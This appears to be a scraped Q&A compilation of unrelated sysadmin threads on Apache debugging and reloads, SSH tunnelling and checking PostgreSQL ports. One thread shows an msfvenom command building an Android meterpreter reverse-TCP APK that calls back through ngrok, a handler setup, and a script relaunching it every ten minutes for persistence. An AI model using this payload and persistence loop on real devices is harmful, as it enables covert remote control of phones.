How to check where the Apache2 hangs? - apache2

My Apache2 hangs. I can't get any response from it.
I tried to run wget localhost
it just hangs like this:
--2012-03-12 06:36:40-- http://localhost/
Resolving localhost... 127.0.0.1
Connecting to localhost|127.0.0.1|:80... connected.
HTTP request sent, awaiting response...
How can I get more debug information?

Use netstat -nt to see what connections there are to port 80 from 127.0.0.1.
You can use fuser -n tcp 80,127.0.0.1,<port-number> to look for the PID of the Apache process which has port 80 TCP connection from 127.0.0.1 from the given .
Then do an strace -p <pid> on that process to see what it's doing at the system call level.
You can take out the pid-finding steps if you restart Apache in single-process mode (provided that the hang still reproduces!) If that were the case I would just run that Apache under strace and capture the trace.
Based on that I would decide what to do next. Is it hanging in a syscall, not hanging in a syscall, ... which syscall. Last resorts would be getting a debugging build and gdb-ing it.
Apache debugging guide: http://httpd.apache.org/dev/debugging.html

Try tail -f /var/log/apache/error_log.
Your path to the error_log may be different. To search for it, try find / -name error_log. If you're not logged in as root then you may see a bunch of "permission denied". In that case you can hide the error messages with find / -name error_log 2>/dev/null or try to guess the location with find /var/log/ -name error_log.

Related

Connect to ADB with ngrok and reverse tcp

I have an Android device at home that I use to develop on, and I'm connecting to it through my laptop with adb and scrcpy.
However, if I'm not home adb doesn't see the device. I made an apk for the device with msfvenom for reverse tcp like this:
msfvenom -p android/meterpreter/reverse_tcp LHOST=x.tcp.ngrok.io LPORT=(ngrok port) R > /home/user/reversetcp.apk
then I set up the reverse tcp handler in msfconsole:
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 127.0.0.1
msf6 exploit(multi/handler) > exploit
After this I install and run the apk on my device, then meterpreter opens the session;
[*] Meterpreter session 1 opened (127.0.0.1:25565 -> 127.0.0.1:40146) at 2023-01-07 21:39:43 +0100
and the ngrok console shows up 1 connection (my device). But if I try to add the ngrok server to adb like this:
adb connect "ngrok address"
(there I tried the ngrok tcp link, and 127.0.0.1 with both ports, none of them works) I get the following error: failed to connect to '127.0.0.1:25565': Connection refused I could make a vpn on my local network, but the power usually goes down, so the vpn is a dead end. what am I doing wrong? or adb can't connect with ngrok?
My second issue is, that meterpreter randomly closes the session after around 8 minutes, and if the device powers off and on or if the power goes out the device switches from wifi to mobile data, and I can't reconnect. How can I make the apk run on startup and reconnect if there is a change in the internet connection?
Update: I made an shell script to reopen the reverse tcp apk after 10 mins or if there is internet connection, but it would be better if the connection wouldn't close, and the device isn't rooted, so I can't add the script to the folder to run on startup. Another way to keep the reverse tcp connection would be better, to open an reverse tcp (and keep it open), and if there is change in the internet connection then reconnect automatically.
Btw, here is the script that i wrote:
#!/bin/sh
# check for internet connection
while ! ping -c 1 google.com &> /dev/null
do
# wait 20 seconds before trying again
sleep 20
done
# run the activity
am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
# run the activity every 10 minutes
while true
do
sleep 600
am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
done
I am convinced that it is not possible to connect a device using reverse meterpreter shell because ADB requires a raw TCP connection rather than meterpreter shell.
You can use the ZeroTier application to create a private network for your devices that can be accessible via the internet. It functions similarly to VPN, but traffic is routed directly rather than through a centralized VPN server.
This post describes how to connect adb using TCPIP in detail.

Getting 403 error when tunneling to remote server

I have a lab environment where I can do various operations(GET, PUT, DELETE etc).
I do these in Postman using a URL similar to:
http://1.2.3.4:8338/accounts
This returns JASON containing account information.
I can also get this information with the following curl statement:
curl https://1.2.3.4:8338/accounts -u admin:Jpassword
I now want to do it in a remore environmnet that I have to access through a jump server. I previously did something similar. I used SSH Tunnel Manager to create the connection. This is what it looked like. 1.1.1.1 is the jump server IP and 1.2.3.4 is the server I'm looking to connect to.
ssh -N -p 22 username#1.1.1.1 -o StrictHostKeyChecking=no -L 1.1.1.1:8080:1.2.3.4:443
I can then access through postman or my browser using the following URL:
https://127.0.0.1:8080/
I want to do the same with except I must specify port 8338. If I follow the same steps but use port 8338 instead of 8080 I get a 403 response when I try my url. If I change port 443 to 8338 I also get also get a 403.
I was wondering if this is likely to be an authentication issue or something I'm doing wrong with my tunnel.
Found the answer.
My problem was that I was using a wrong port. I should have had port 8338 instead of 443.
ssh -N -p 22 username#1.1.1.1 -o StrictHostKeyChecking=no -L 1.1.1.1:8080:1.2.3.4:8338
Now I can connect with this URL:
http://1.2.3.4:8080/accounts

What is the difference between apache2 reload, restart, graceful?

I am using apache2 for a project and I am wondering what is exactly the difference between these commands:
service apache2 restart
service apache2 reload
service apache2 graceful
There main difference between the four different ways of stopping/restarting are what does the main process do about its threads, and about itself.
Note that Apache recommends using apachectl -k as the command, and for systemd, the command is replaced by httpd -k
apachectl -k stop or httpd -k stop
This tells the process to kill all of its threads and then exit
apachectl -k graceful or httpd -k graceful
Apache will advise its threads to exit when idle, and then apache reloads the configuration (it doesn't exit itself), this means statistics are not reset.
apachectl -k restart or httpd -k restart
This is similar to stop, in that the process kills off its threads, but then the process reloads the configuration file, rather than killing itself.
apachectl -k graceful-stop or httpd -k graceful-stop
This acts like -k graceful but instead of reloading the configuration, it will stop responding to new requests and only live as long as old threads are around. Combining this with a new instance of httpd can be very powerful in having concurrent apaches running while updating configuration files.
Source: https://httpd.apache.org/docs/2.4/stopping.html
Recommendation: Use -k graceful unless there is something wrong with the main process itself, in which case a combination of -k stop and -k start or -k graceful-stop and -k start are the options of choice.
Difference between “restart” and “reload”
Restart= stop + start
Reload = remain running + re-read configuration files.
Normal restart and graceful restart, you can reference article:
https://teckadmin.wordpress.com/2013/10/23/difference-between-graceful-restart-and-normal-restart/
Seems like graceful and reload are the same for apache2
In /etc/init.d/apache2:
graceful | reload | force-reload)
# rest of the script

Check if Postgresql is listening

Given an IP Address and port number, is it possible to check if the machine with that IP address has Postgresql listening on the specified port? If so, how?
I just want to obtain a boolean value of whether Postgresql is listening on the specified port of the specified machine.
You can use, for example, nmap tool:
=$ sudo nmap -v -p 5930 127.0.0.1
Starting Nmap 6.00 ( http://nmap.org ) at 2013-06-25 19:28 CEST
Initiating SYN Stealth Scan at 19:28
Scanning localhost (127.0.0.1) [1 port]
Discovered open port 5930/tcp on 127.0.0.1
Completed SYN Stealth Scan at 19:28, 0.03s elapsed (1 total ports)
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000045s latency).
PORT STATE SERVICE
5930/tcp open unknown
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds
Raw packets sent: 1 (44B) | Rcvd: 2 (88B)
Alternatively you can just "SELECT 1" with psql, and check output:
=$ psql -h 127.0.0.1 -p 5930 -c "select 1"
?column?
----------
1
(1 row)
=$ psql -h 127.0.0.1 -p 5940 -c "select 1"
psql: could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 5940?
I think you need to define what you're trying to achieve better. Do you just want to know if anything is listening on a certain point? If PostgreSQL is listening on a given port? If PostgreSQL is running and actually accepting connections? If you can connect to PostgreSQL, authenticate successfully and issue queries?
One option is to invoke psql to connect to it and check the result code. Do not attempt to parse the output text, since that's subject to translation into different languages.
Better, use the client library for the language of your choice - psycopg2 for Python, PgJDBC for Java, the Pg gem for Ruby, DBD::Pg for Perl, nPgSQL for C#, etc. This is the approach I'd recommend. The SQLSTATE or exception details from any connection error will tell you more about why the connection failed - you'll be able to tell the difference between the server not listening, authentication failure, etc this way. For example, in Python:
import psycopg2
try:
conn = psycopg2.connect("host=localhost dbname=postgres")
conn.close()
except psycopg2.OperationalError as ex:
print("Connection failed: {0}".format(ex))
There are exception details in ex.pgcode (the SQLSTATE) to tell you more about errors that're generated server-side, like authentication failures; it'll be empty for client-side errors.
If you just want to see if something is listening on a given IP and TCP port, you can use netcat (*nix only), or a simple script in the language of your choice that creates a socket and does a connect() then closes the socket if it gets a successful response. For example, the following trivial Python script:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect(('localhost',5432))
s.close()
except socket.error as ex:
print("Connection failed with errno {0}: {1}".format(ex.errno, ex.strerror))
The same approach applies in any programming language, just the details of the socket library and error handling vary.
For some purposes it can also be useful to use the netstat tool to passively list which processes are listening on which network sockets. The built-in netstat on Windows is pretty brain-dead so you have to do more parsing of the output than with netstat for other platforms, but it'll still do the job. The presence of a socket in netstat doesn't mean that connecting to it will succeed, though; if the process has failed in some way that leaves it broken but still running (stuck in an infinite loop, blocked by a debugger, SIGSTOPed, etc) then it won't respond to an actual connection attempt.
In brief
In details
Fastest way is to use netcat aka nc with timeout ability as shared here
Results as 0/1 means postgres working/not-working
echo 'QUIT' | nc -w SECONDS YOUR_HOST PORT; echo $?
# eg
echo 'QUIT' | nc -w 1 localhost 5432; echo $?
Another also-faster way that works for me is to use telnet as discussed here.
echo -e '\x1dclose\x0d' | telnet YOUR_HOST PORT
# eg
echo -e '\x1dclose\x0d' | telnet localhost 5432

How to reload apache configuration for a site without restarting apache?

I have edited the variable AllowOverride for one of my websites in sites-enabled directory. How do I reload the new configuration without restarting apache? Is it possible?
It should be possible using the command
sudo /etc/init.d/apache2 reload
Another way would be:
sudo service apache2 reload
Do
apachectl -k graceful
Check this link for more information :
http://www.electrictoolbox.com/article/apache/restart-apache/
If you are using Ubuntu server, you can use systemctl
systemctl reload apache2
Updated for Apache 2.4, for non-systemd (e.g., CentOS 6.x, Amazon Linux AMI) and for systemd (e.g., CentOS 7.x):
There are two ways of having the apache process reload the configuration, depending on what you want done with its current threads, either advise to exit when idle, or killing them directly.
Note that Apache recommends using apachectl -k as the command, and for systemd, the command is replaced by httpd -k
apachectl -k graceful or httpd -k graceful
Apache will advise its threads to exit when idle, and then apache reloads the configuration (it doesn't exit itself), this means statistics are not reset.
apachectl -k restart or httpd -k restart
This is similar to stop, in that the process kills off its threads, but then the process reloads the configuration file, rather than killing itself.
Source: https://httpd.apache.org/docs/2.4/stopping.html
Late answer here, but if you search /etc/init.d/apache2 for 'reload', you'll find something like this:
do_reload() {
if apache_conftest; then
if ! pidofproc -p $PIDFILE "$DAEMON" > /dev/null 2>&1 ; then
APACHE2_INIT_MESSAGE="Apache2 is not running"
return 2
fi
$APACHE2CTL graceful > /dev/null 2>&1
return $?
else
APACHE2_INIT_MESSAGE="The apache2$DIR_SUFFIX configtest failed. Not doing anything."
return 2
fi
}
Basically, what the answers that suggest using init.d, systemctl, etc are invoking is a thin wrapper that says:
check the apache config
if it's good, run apachectl graceful (swallowing the output, and forwarding the exit code)
This suggests that #Aruman's answer is also correct, provided you are confident there are no errors in your configuration or have already run apachctl configtest manually.
The apache documentation also supplies the same command for a graceful restart (apachectl -k graceful), and some more color on the behavior thereof.

Resources